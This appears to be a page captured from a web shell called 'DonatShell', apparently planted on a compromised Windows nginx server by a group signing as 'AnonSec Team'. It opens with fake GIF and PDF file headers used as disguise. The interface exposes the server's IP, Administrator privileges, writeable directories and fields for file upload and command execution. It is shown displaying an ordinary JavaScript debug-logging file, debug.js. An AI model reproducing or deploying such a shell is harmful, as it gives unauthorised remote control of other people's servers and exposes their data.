GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/js/debug.js
// debug.js

// Begin with no console color enhancements.
var CA = '';		// attention
var CB = '';		// black
var CC = '';		// call.
var CD = '';		// do.
var CE = '';		// error.
var CF = '';		// false.
var CG = '';		// group. recall.
var CH = '';		// group (DEBUG = false).
var CI = '';		// info
var CL = '';		// log.
var CN = '';		// normal.
var CQ = '';		// question.
var CR = '';		// return value.
var CS = '';		// set.
var CT = '';		// true.
var CU = '';		// UpdateInclude.
var CW = '';		// warn.
var CX = '';		// eXpand.
var PC = '%c';	// Prepended to console text for color coding to work.
var NL = "\n";	// Used in console functions for newline.
var TB = "\t";	// Used in console functions for tab.
var PB = '';		// Prepended for start.
var PE = '';		// Prepended for end.
var SB = '';		// start. console.log(PB+text,SB,ST)
var SE = '';		// end. console.log(PE+text,SE,ST);
var ST = '';		// Text part for start and end.

var Scripts = document.getElementsByTagName("script");
var ScriptSrc = '';
var ScriptText = '';

// _Initialize_debug();
function _Initialize_debug() {
	_Initialize_debug.counter++;//IncrementCounter(_Initialize_debug);
	// console color enhancements.
	var C_B = ' font-weight:bold;'; // bold.
	var C_L = ' font-size:14px;'; // large font.
	var C_R = ' font-size:12px;'; // regular font.
	CA = 'background-color:#af3; color: #000;'+C_R;			// attention.     console.log(`${PC}text`,CA);	+C_B for bold.
	CB = 'background-color:#fff; color: #000;'+C_R;			// black.         console.log(`${PC}text`,CB);
	CC = 'background-color:#84b; color: #fff;'+C_R;			// call.          console.log(`${PC}text`,CC);
	CD = 'background-color:#afc; color: #000;'+C_R;			// do.            console.log(`${PC}text`,CD);
	CE = 'background-color:#f11; color: #fff;'+C_R;			// error.         console.log(`${PC}text`,CE);
	CF = 'background-color:#800; color: #fff;'+C_R;			// false.         console.log(`${PC}text`,CF);
	CG = 'background-color:#c60; color: #fff;'+C_R+C_B+C_L;	// group. recall. console.group(`${PC}text`,CG); May also use console.groupCollapsed(); End with console.groupEnd(); Also if setTimeout() needed.
	CH = 'background-color:#950; color: #fff;'+C_R+C_B+C_L;	// group. (DEBUG = false).
	CI = 'background-color:#aef; color: #000;'+C_R;			// info.          console.log(`${PC}text`,CI);
	CL = 'background-color:#222; color: #ccc;'+C_R;			// log.           console.log(`${PC}text`,CL);
	CN = 'background-color:#ccc; color: #222;'+C_R;			// normal.        console.log(`${PC}text`,CN);
	CQ = 'background-color:#00a; color: #fff;'+C_R;			// question.      console.log(`${PC}text`,CQ);
	CR = 'background-color:#000; color: #eb2;'+C_R;			// return value.  console.log(`${PC}text`,CR);
	CS = 'background-color:#e8f; color: #000;'+C_R;			// set.           console.log(`${PC}text`,CS);
	CT = 'background-color:#080; color: #fff;'+C_R;			// true.          console.log(`${PC}text`,CT);
	CU = 'background-color:#408; color: #fff;'+C_R;			// UpdateInclude. console.log(`${PC}text`,CU);
	CW = 'background-color:#fda; color: #000;'+C_R;			// warn.          console.log(`${PC}text`,CW);
	CX = 'background-color:#00a; color: #ff0;'+C_R;			// eXpand.        console.log(`${PC}text`,CX);
	PB = '%cBEGIN%c '; // Prepended for start.
	PE = '%c  END%c '; // Prepended for end.
	SB = 'background-color:#ffa; color: #000;'+C_L+C_B;	// start. console.log(PB+text,SB,ST);
	SE = 'background-color:#ffa; color: #000;'+C_L+C_B;	// end. console.log(PE+text,SE,ST);
	ST = 'background-color:#fff; color: #000;'+C_R;			// Text part for start and end.
	_Initialize_debug.initalized = true;
	console.log(PC+'_Initialize_debug['+_Initialize_debug.counter+']',CH);
} // END _Initialize_debug.
_Initialize_debug.counter = 0;
_Initialize_debug.initalized = false;

// DEBUG_textarea_Load(content)
// Load DEBUG_textarea with content and show.
function DEBUG_textarea_Load(content) {
	document.getElementById('DEBUG_textarea').innerHTML = String(content).replace(/</g, '&lt;').replace(/>/g, '&gt;');
	info__ResizeTextareaById('DEBUG_textarea');
	document.getElementById('DEBUG_textarea').style.display = 'block';
} // END 

if ( typeof info__ResizeTextareaById === 'undefined' ) { // Is the info__ResizeTextareaById function undefined?
	// info__ResizeTextareaById(eId, maxWidth)
	// Called by info_ResizeTextareas() to resize this textarea.
	var info__ResizeTextareaById = function (eId, maxWidth) {
		if ( typeof eId === 'string' ) { eId = document.getElementById(eId); }
		var width = 0; // Used to calculate the textarea's current width.
		var height = -1; // Used to calculate the textarea's current height.
		var minWidth = 20; // The textarea's minimum width.
		var minHeight = 2; // The textarea's minimum height.
		if ( typeof maxWidth === 'undefined' ) { maxWidth = 80; }
		lines = eId.innerHTML.split('\n'); // Get an array of the textarea's lines.
		//alert('name='+eId.name+' value='+eId.value);
		for (var i = 0; i < lines.length; i++) { // Loop through each line.
			var linelength = lines[i].length; // Get the line length.
			if ( linelength > width ) { width = linelength; } // Increase width if needed.
			height++; // Increment height.
		}
		if ( width > maxWidth ) { width = maxWidth; height++; } // If width too large reset it and increment height.
		if ( width < minWidth ) { width = minWidth; } // If width too small set to minWidth.
		if ( height < minHeight ) { height = minHeight; } // If height too small set to minHeight.
		//alert('name='+eId.name+' width='+width+' height='+height);
		if ( width > 0 ) { eId.cols = width; } // Set the textarea's width.
		if ( height > 0 ) { eId.rows = height; } // Set the textarea's height.
	};
} // Is the info__ResizeTextareaById function undefined?

// site_jsShowHide()
// Show/Hide the site_jsShowHide textarea.
function site_jsShowHide() {
	var Page_js = document.getElementById('txt_site_js');
	console.log('site_jsShowHide['+Page_js.style.display+']');
	if ( Page_js.style.display === 'block' ) {
		Page_js.style.display = 'none';
	} else {
		if ( ( ScriptSrc + ScriptText ) === '' ) {
			get_Scripts();
			Page_js.innerHTML = ScriptSrc + ScriptText;
			info__ResizeTextareaById(Page_js,150); // Resize the txt_site_js textarea.
		}
		Page_js.style.display = 'block';
	}
	// get_Scripts()
	// Get all <script> contents and put it in ScriptSrc.
	function get_Scripts() {
		console.log('get_Scripts[] Scripts.length='+Scripts.length);
		var ScriptSrcs = [];
		for ( var i=0; i<Scripts.length; i++ ) {
			if ( Scripts[i].src ) {
				//console.log(i,Scripts[i].src);
				ScriptSrcs[i] = Scripts[i].src;
			} else {
				//console.log(i,Scripts[i].innerHTML)
				//console.log(i,'script.id='+Scripts[i].id);
				var innerHTMLlines = Scripts[i].innerHTML.split("\n");
				//console.log('innerHTMLlines[0]='+innerHTMLlines[0]);
				//console.log('innerHTMLlines[1]='+innerHTMLlines[1]);
				//console.log('innerHTMLlines[2]='+innerHTMLlines[2]);
				//console.log('innerHTMLlines[3]='+innerHTMLlines[3]);
				if ( typeof innerHTMLlines[1] !== 'undefined' ) {
					ScriptText += '// BEGIN script id='+Scripts[i].id+'. file:'+innerHTMLlines[1].substr(3)+".\n";
					if ( innerHTMLlines[2] !== '' ) { ScriptText += innerHTMLlines[2]+"\n"; }
					for ( var j=3; j<innerHTMLlines.length; j++ ) {
						if ( j !== innerHTMLlines.length-1 || innerHTMLlines[j] !== '' ) { ScriptText += innerHTMLlines[j]+"\n"; }
					}
					ScriptText += '// END script id='+Scripts[i].id+".\n\n";
				}
			}
		}
		var ScriptSrc = "// BEGIN page javascripts.\n";
		for ( i=0; i<ScriptSrcs.length; i++ ) {
			if ( typeof ScriptSrcs[i] !== 'undefined' ) { ScriptSrc += ScriptSrcs[i]+"\n"; }
		}
		ScriptSrc += "// END page javascripts.\n\n";
	} // END get_Scripts.
} // site_jsShowHide.


// clog(name, obj, i)
// Display object contents in the console.
// name = The name to display in the log.
//  obj = The object to display info about.
//    i = The index of the object to display.
//        If i is undefined only the first level indexes are displayed.
//        If i is '' then all object levels are displayed.
//        If i is an index of the object then that index is displayed.
function clog(name, obj, i) {
	//console.log('clog name='+name);
	var c;
	var j;
	var cn = name+': {';
	var prefix = ' ';
	if ( typeof i !== 'undefined' ) {
		if ( i !== '' ) {
			// Show this object index.
			for ( j in obj[i] ){if(obj[i].hasOwnProperty(j)){ // Loop thru object[i] properties.
				//console.log('typeof obj[i][j] = '+(typeof obj[i][j]));
				if ( typeof obj[i][j] !== 'number' ) { c = "'"; } else { c = ''; }
				cn += prefix+j+':'+c+obj[i][j]+c;
				prefix = ', ';
			}} // Loop thru object[i] properties.
		} else {
			// Show all in object.
			for ( j in obj ){if(obj.hasOwnProperty(j)){ // Loop thru object properties.
				if ( typeof obj[j] !== 'object') {
					if ( typeof obj[j] !== 'number' ) { c = "'"; } else { c = ''; }
					cn += prefix+j+':'+c+obj[j]+c;
					prefix = ', ';
				} else {
					cn += prefix+j+':'+'{'+clog(j,obj,j)+'}';
					prefix = ', ';
				}
			}} // Loop thru object properties.
		}
		cn += ' }';
		console.log(cn);
	} else {
		// Show object top level.
		for ( j in obj ){if(obj.hasOwnProperty(j)){ // Loop thru object properties.
			if ( typeof obj[j] !== 'number' ) { c = "'"; } else { c = ''; }
			cn += prefix+c+j+c;
			prefix = ', ';
		}} // Loop thru object properties.
		cn += ' }';
		console.info(cn);
	}
}

// rlog(name, obj, i)
// Add object contents to id_DEBUG element.
// name = The name to display in the log.
//  obj = The object to display info about.
//    i = The index of the object to display.
//        If i is undefined only the first level indexes are displayed.
//        If i is '' then all object levels are displayed.
//        If i is an index of the object then that index is displayed.
function rlog(name, obj, i) {
	var c;
	var j;
	var cn = name+': {';
	var prefix = ' ';
	if ( typeof i !== 'undefined' ) {
		if ( i !== '' ) {
			for ( j in obj[i] ){if(obj[i].hasOwnProperty(j)){ // Loop thru object[i] properties.
				if ( typeof obj[i][j] !== 'number' ) { c = "'"; } else { c = ''; }
				cn += prefix+j+':'+c+obj[i][j]+c;
				prefix = ', ';
			}} // Loop thru object[i] properties.
		} else {
			for ( j in obj ){if(obj.hasOwnProperty(j)){ // Loop thru object properties.
				if ( typeof obj[j] !== 'number' ) { c = "'"; } else { c = ''; }
				cn += prefix+j+':'+c+obj[j]+c;
				prefix = ', ';
			}} // Loop thru object properties.
		}
		cn += ' }';
		return cn+"\n";
	} else {
		for ( j in obj ){if(obj.hasOwnProperty(j)){ // Loop thru object properties.
			if ( typeof obj[j] !== 'number' ) { c = "'"; } else { c = ''; }
			cn += prefix+c+j+c;
			prefix = ', ';
		}} // Loop thru object properties.
		cn += ' }';
		return cn+"\n";
	}
}

Anon7 - 2022
AnonSec Team